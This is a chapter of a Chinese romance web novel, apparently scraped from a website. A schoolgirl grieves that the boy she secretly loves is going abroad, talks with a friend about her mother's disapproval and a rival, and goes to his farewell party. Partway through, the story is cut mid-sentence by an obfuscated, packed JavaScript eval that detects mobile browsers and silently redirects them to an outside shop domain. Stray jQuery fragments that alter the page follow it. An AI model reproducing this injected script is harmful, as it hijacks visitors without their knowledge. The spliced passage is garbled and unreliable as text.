19.第 19 章
    -Hj:“我出国的机票已经买好了。”

    时照心愣了一下,目光长久地凝固在那条信息上。她的脑海里一时间空白一片,明明她的语文作文经常当成佳作拿出去展览的,但此刻一句语序通顺的话都拼凑不出来。

    其实时照心也早就知道霍极要出国这件事情,但等这一天真的到来,还是会难过不已。

    ——他们之间的距离,终于又变得更远了。

    不知过了多久,她终于能勉强调动起备份的理智,回复他消息。她的视线几乎是模糊的,看不清屏幕上的字,手也在抖,在对话框里打了半天,才打出来几个字“能不能不去?”,删了,又打了几个字“怎么这么快?”,也被她一一删除了。她闭上眼睛,长长地呼出一口气,许久之后,她给霍极回复过去一条:

    “什么时候的机票?”

    霍极很快回复她一个日期,就在不久之后。

    时照心咬着唇,给他回了个“好”字,然后将手机按熄屏。她抬起头来,眼前的综艺仍在播放,节目里有几位喜剧艺人们正使出浑身解数去到屏幕前的观众开心,但她却什么也看不清,世界被泪光模糊成一片。

    她的情绪就像陷入了一个真空地带,整个人都有一点茫然无措的感觉,完全开心不起来,只知道自己一直一直在落泪。

    电视里传来观众的欢笑和鼓掌声。

    施知一见身旁安静了许久,有些疑惑地抬头,发现好友正一脸木然地看着前方,脸上满是泪痕,她穿的浅蓝色长裙上已经洇开了几个圆圆的水渍。

    施知一吓了一跳,不知道发生了什么事情,竟然让好友哭成这样,她综艺也不看了,连忙拿过纸巾给时照心擦眼泪,细声问道:“照心……你怎么了?是发生什么事情了吗?”

    时照心湿漉漉的眼睫慢慢地眨了一眨,被泪水洗得像琉璃珠子一般的眼睛转向施知一。她强压着颤抖的声线,竭力平静地说道:“他要走了。”

    谁要走了?施知一愣了一下,然后很快反应过来,问道:“你是说,霍极他要走了?”

    时照心抽噎着,低低地“嗯”了一声。

    看见好友落泪,施知一也忍不住动情地红了眼眶。她在脑海里搜罗所有伤心时安慰人的话语,劝慰时照心道:“其实这个事情应该也没有那么糟糕啦。我们往好里想一想,霍极他只是出去留个学嘛,他迟早还是要回来的,不过几年时间而已,对吧,几年时间会过得很快的……你也不要太难过。”

    时照心低着头不说话,时不时用纸巾擦拭脸上的泪。

    施知一不知道该如何安慰好友,但也清楚时照心现在需要的并不是安慰而是陪伴。于是到后边,她也渐渐不说话了,见时照心手里拿的纸巾湿透了,便默默接过她手里的湿纸巾,又递去一张新的纸巾给她擦眼泪。

    过了许久,房间里响起时照心平静的、略微沙哑的声线:“前几天,就是高考出分那一天,我去找了霍极。”

    “然后呢?”

    “那天晚上我们回家回得很晚……是他送我回家的,然后正好撞上我妈。我妈那个性格你也知道的,那天晚上我妈逼问我,是不是跟霍极有什么,我说没有,但她好像不是很相信——然后,然后她跟我说,”时照心的声音忽然哽咽起来,“她说,霍极还有他们家,和我们家是不一样的。就算我们有什么,也不会有什么好的结果,她让我别忘了她和我爸爸爸就是这样的。我当时听到这个话,好崩溃好难过啊——”

    施知一连忙拍来看她的肩背,柔声劝慰道:“没事没事,你别哭,你慢慢说。”

    “就是,知一你肯定明白我的感受,那个瞬间,我觉得我妈她好像把她和我爸的失败的婚姻投射到我身上了,但是我又不得不承认,她说的好像是有道理的——我和霍极好像,真的不是同一类人。”

    “他很任性,他也有可以很任性的资本,但我不可以,我没有任性的资本,我必须乖乖地听话,走在我妈给我规划的轨道之上,我都十八岁了,我都成年了,穿衣服还要听我妈的话,现在回家甚至还有门禁时间……还有很多很多这种事情,我都数不过来了。我和他真的太不一样了。”

    时照心的眼眶通红,望着施知一,轻声道:“之前方思明就和我说过喜欢他的人多,可我一直没有实感。其实那天晚上还发生了一件事情。还记得,我们之前猜测王思彤喜欢他吗?”

    施知一点一点头。

    时照心笑得有些苦涩:“我们果然猜对了。”

    ——几天之前。

    喧闹的包厢里,王思彤语气小心翼翼地问她:“我想问,你喜欢的人……是霍极吗?”

    噪音那么大那么吵,她依然清晰地听到了王思彤问她的话。

    她的呼吸稍顿,那一瞬间,她的脑海里闪过很多念头,但她犹豫了片刻,还是慢慢地点了一点头。

    王思彤看着她,笑了笑,说:“看来我们的审美很一致。”

    时照心微微一怔,“你也是……吗。”

    你也是喜欢他吗?

    “是。”王思彤点头承认。

    时照心内心有一点复杂,顿了顿,又问道:“那,那霍极他知道吗?”

    王思彤耸了耸肩,很直爽地说:“我还没有跟他表白,但是我觉得他应该猜到了吧,毕竟那么多人喜欢他,拒绝都拒绝出经验了吧。不过他好像只是把我当朋友而已,并没有那个意思。”她如是说道,像想到什么似的,又问了一句,“哦,你呢?他知道你喜欢他吗?”

    “我不知道他知不知道,”时照心默然片刻,轻声说,“但我想他应该不知道。”

    她俩不约而同地沉默了片刻。

    时照心勉强提起精神来,对王思彤笑了笑,用近乎请求的语气说道:“思彤,能不能就把这件事情当做我们两个的秘密?不要和他说。”

    王思彤愣了一下,疑惑道:“嗯?为什么?你是不想告诉他吗?”

    时照心抿抿唇,轻声道:“我觉得,我和他之间……朋友关系也许才更长久。”

    王思彤用一种很复杂的眼神看着她,许久后,她点了点头,说:“好,我答应你。”

    ……

    “知一。我以前看过一句话,大概意思是说,人之所以觉得不满足

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12943511|135043||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,是因为没有管理好自己的期待。”

    时照心的目光投向窗外,窗外草长莺飞,热闹美好,似乎有着无限希望。她瞧着,神色渐渐柔和,飞了红的眼角也微微一弯。

    “他要出国念书,对他来说是一件好事,我身为他的好友,应该为他光明的未来而欣喜。”

    而不是像现在这样,因为自己的私心而难过——再说,就算他留下来,又能如何呢?

    不会有任何改变。

    她那些纷扰的念头不过是庸人自扰。

    他已经做到了朋友该做的一切,甚至还给予了她更多,是她……是她没有放好自己的位置,没有管理好自己的预期。

    她转过眼,对上好友盈盈的目光,轻声说。

    “我应该祝福他的,知一,你说对不对?”

    这样,即便缺少他恋人的资格,但她仍可以以好友的身份参与到他的人生之中,为他喝彩。

    -

    霍极出国前的派对就定在起飞前两天。

    霍极把好友都邀请来了,当然也包括了时照心。时照心出门前难得上心好好打扮了一番,化了一个淡妆。她从房间内出来时,整间客厅仿佛都亮堂了起来。

    杨佳敏偏头看了一眼,见到她的装束打扮,皱眉道:“今天怎么打扮得这么漂亮?是有什么特殊安排吗?”

    时照心对镜擦口红,平静道:“没有啊,只是去参加霍极的出国派对而已。”

    一听到这个名字,杨佳敏的眉毛拧得更紧,“你们都这么熟了,还需要特地打扮得这么好看吗?”

    “……这和他有什么关系?”时照心不紧不慢的擦完口红,将口红盖子稳妥盖好,才笑着对母亲道,“您不觉得这样看起来气色好一些吗?还是说,您不喜欢我漂漂亮亮的?”

    杨佳敏盯着她看了半晌,终究没说什么。

    因为出门耽误了一会儿,时照心稍晚了一些才去到派对场地。推门进去时,几乎被里面喧腾欢闹的气息吓得退了一步。

    方思明无意间瞥见她来,目光定了一瞬,然后猛地从座位上弹起来,态度格外地殷勤:“哎呀,时姐,时姐你来啦,怎么不说一声?”他左右张罗,见没有位置了,还把自己的位置让给她,“你要不坐我这儿吧?”

    时照心温柔笑笑,说:“谢谢。”

    她正欲坐下,场面正中的霍极却忽然出了声,声音散漫:“时照心。”

    时照心抬起眼睫,目光对上他如点漆般的眼睛。他眼神里有惊讶,有欣赏,好像还有一些她看不明白的微妙复杂的情绪。半晌,他轻笑了一声,示意了一下他的身侧,道:

    “你坐得那么远干什么——到我身边来。”

    时照心眨眨眼,他身边已经坐了人,没有位置了。

    见她不动,霍极的目光仍停留在她身上。半明半眛的光影之下,她的眼波流转,温雅,矜持,又有些女孩儿家俏皮的傲气,而那张莹白的面庞则像极了美丽的珍珠,温润有光,有种能够牢牢地抓住人视线的魔力。他漫不经心地对身旁的朋友扬了扬下巴,说:

    “劳驾你跟她换个位置。”